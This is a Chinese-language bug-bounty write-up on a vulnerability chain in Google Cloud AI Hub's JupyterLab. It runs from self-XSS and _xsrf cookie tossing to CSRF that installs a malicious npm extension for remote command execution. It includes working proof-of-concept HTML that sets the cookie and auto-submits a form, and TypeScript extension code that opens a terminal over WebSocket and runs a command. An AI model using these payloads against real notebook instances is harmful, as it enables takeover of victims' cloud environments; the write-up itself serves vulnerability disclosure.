Google Cloud JupyterLab的XSS到任意命令执行
Jupyter Lab介绍
JupyterLab 是一个基于 Web 的 Jupyter 笔记本、代码和数据的交互式开发环境。JupyterLab 非常灵活。使用它我们可以运行代码,也可以在 Web 界面中使用终端。最重要的是我们还可以编辑 Jupyter应用程序本身的代码。
我是如何发现漏洞的?
在我大三的时候,我对 AI 和 CTF 非常感兴趣,我在数据科学实习。大多数时候,我使用 Jupyter Notebooks 来训练模型。所以,我对它的工作原理有了基本的了解。
后来,我开始做漏洞赏金,我的目标是 Google Cloud AI HUB。
谷歌云 AI HU
在 AI Hub 中,我们可以创建笔记本,当创建笔记本时,它会在后台创建一个 VM 实例,安装 Jupyter Notebook,并为笔记本实例分配随机域 (random-id.notebooks.googleusercontent.com) . 通过 Google SSO 登录笔记本实例。
self XSS
我知道笔记本中不可能直接出现 XSS ,但由于我们可以在我们的 VM 实例中访问 Jupyter 笔记本本身的代码库这个前提,所以我尝试:通过登录到 VM 实例并更改位于/opt/conda/share/jupyter/lab/static的文件来更改 Jupyter Notebook 的源代码,我们可以让受害者访问我们的笔记本实例并弹出一个警报。但这没有用,因为它是一个self XSS。
接着,我开始想办法让它产生影响。
我们有self XSS 时,另一个值得关注的目标是 cookie。我检查了 cookie 并且_xsrf cookie 引起了我的注意。CSRF 缓解是通过检查 _xsrf 中的 cookie 值和X-XSRFToken 标头值来完成的。如果这两个值相等,则允许该请求。
self XSS转为DOS
因为,我们可以在 notebooks.googleusercontent.com 上的域中设置 cookie xsrf=1 ,这使得来自受害者笔记本的每个下一个请求都会因为无效的xsrf令牌而被丢弃。我们可以更改 cookie 中的_xsrf令牌,如果我们可以更改 X-XSRFToken 标头,我们也可以在笔记本上实现 CSRF。但是,我们无法设置此标头,因为当我们在请求中设置 X-XSRFToken 标头时,浏览器会发出 XHR 预检请求。
发现了DOS漏洞,但是没有太大的作用,所以,我认为这是一个死胡同,后来开始审查 Jupyter Notebook 的源代码......
Tornado web服务器 来拯救 CSRF
我注意到 Jupyter 使用了 tornado 服务器
有一个有趣的点:在 tornado 服务器 来缓解CSRF攻击如下:
如果设置了 xsrf_cookies,Tornado Web 应用程序将为所有用户设置 _xsrf cookie,并拒绝所有不包含正确 _xsrf 值的 POST、PUT 和 DELETE 请求。如果打开此设置,则需要检测通过 POST 提交的所有表单以包含此字段。您可以使用所有模板中提供的特殊 UIModule xsrf_form_html() 来完成此操作
xsrf_form_html()的代码
def xsrf_form_html(self) -> str: """An HTML ``<input/>`` element to be included with all POST forms. It defines the ``_xsrf`` input value, which we check on all POST requests to prevent cross-site request forgery. If you have set the ``xsrf_cookies`` application setting, you must include this HTML within all of your HTML forms. In a template, this method should be called with ``{% module xsrf_form_html() %}`` See `check_xsrf_cookie()` above for more information. """ return ( '<input type="hidden" name="_xsrf" value="' + escape.xhtml_escape(self.xsrf_token) + '"/>' )
所以,这意味着我们可以在请求 URL 中发送 CSRF 令牌,而不是 X-XSRFToken 标头。
这是一个不错的小功能,我们可以在请求中使用_xsrf标记而不是标头。
我们不需要担心下面显示的 cookie 优先级,因为基域上的 cookie 优先于子域上的 cookie。
CSRF 的 POC:
<html><form action="https://victim(randomId)-dot-us-west1.notebooks.googleusercontent.com/lab?authuser=1/lab/api/extensions?_xsrf=1" method="POST" enctype="text/plain"> <input type="hidden" name="any post data" /> <input type="submit" value="Submit request" /> </form><script type="text/javascript"> var base_domain = document.domain.substr(document.domain.indexOf('.')); document.cookie='_xsrf=1;Domain='+base_domain; console.log('done'); document.forms[0].submit();</script></html
现在我们有了 CSRF,重要的任务是更好的利用它来扩大危害。
JupyterLab 扩展可以自定义或增强 JupyterLab 的任何部分。它们可以提供新的主题、文件查看器和编辑器,或用于笔记本中丰富输出的渲染器。扩展可以将项目添加到菜单或命令面板、键盘快捷键或设置系统中的设置
我首先看的是扩展,因为它们允许我们在受害者实例中运行任意代码。
原来是使用 CSRF,我们可以在受害者笔记本实例中安装任意扩展。
现在的任务是创建一个恶意扩展,在受害者笔记本实例中提供 RCE。
我创建了这个扩展,它打开到终端端点的 WebSocket 连接并运行任意代码。(可以通过其他更简单的方式完成)
import { JupyterFrontEnd, JupyterFrontEndPlugin} from '@jupyterlab/application'; const extension: JupyterFrontEndPlugin<void> = { id: 'test', autoStart: true, activate: (app: JupyterFrontEnd) => { alert(document.cookie); console.log("started !!!"); var xhttp = new XMLHttpRequest; var termUri = location.origin + "/api/terminals"; xhttp.open("POST", termUri, true); xhttp.withCredentials = true; xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { console.log("request successfull!!! "); var resp = xhttp.responseText.split('"'); var terminal_id = resp[3]; var wsUri = "wss://"+location.host+"/terminals/websocket/"+terminal_id; var ws = new WebSocket(wsUri); ws.onopen = function(evt) { ws.send('["stdin","touch pwned.txt\\r"]'); }; console.log("file created pwned.txt!!! "); } }; xhttp.send(); }};export default extension;
并将其推送到: npm https://www.npmjs.com/package/@mohansrk/test
最终POC
<html><form action="https://randomid-dot-australia-southeast1.notebooks.googleusercontent.com/lab/api/extensions?_xsrf=1" method="POST" enctype="text/plain"> <input type="hidden" name="{\"cmd\":\"install\",\"extension_name\":\"@mohansrk/test\",\"dummy\":\"\" value=\"dummy\"}" /> <input type="submit" value="Submit request" /> </form><script type="text/javascript"> var base_domain = document.domain.substr(document.domain.indexOf('.')); document.cookie='_xsrf=1;Domain='+base_domain; console.log('done'); document.forms[0].submit();</script></html>
获得 RCE 后,我们就可以访问大部分 Google Cloud,因为 VM 实例默认具有编辑角色。
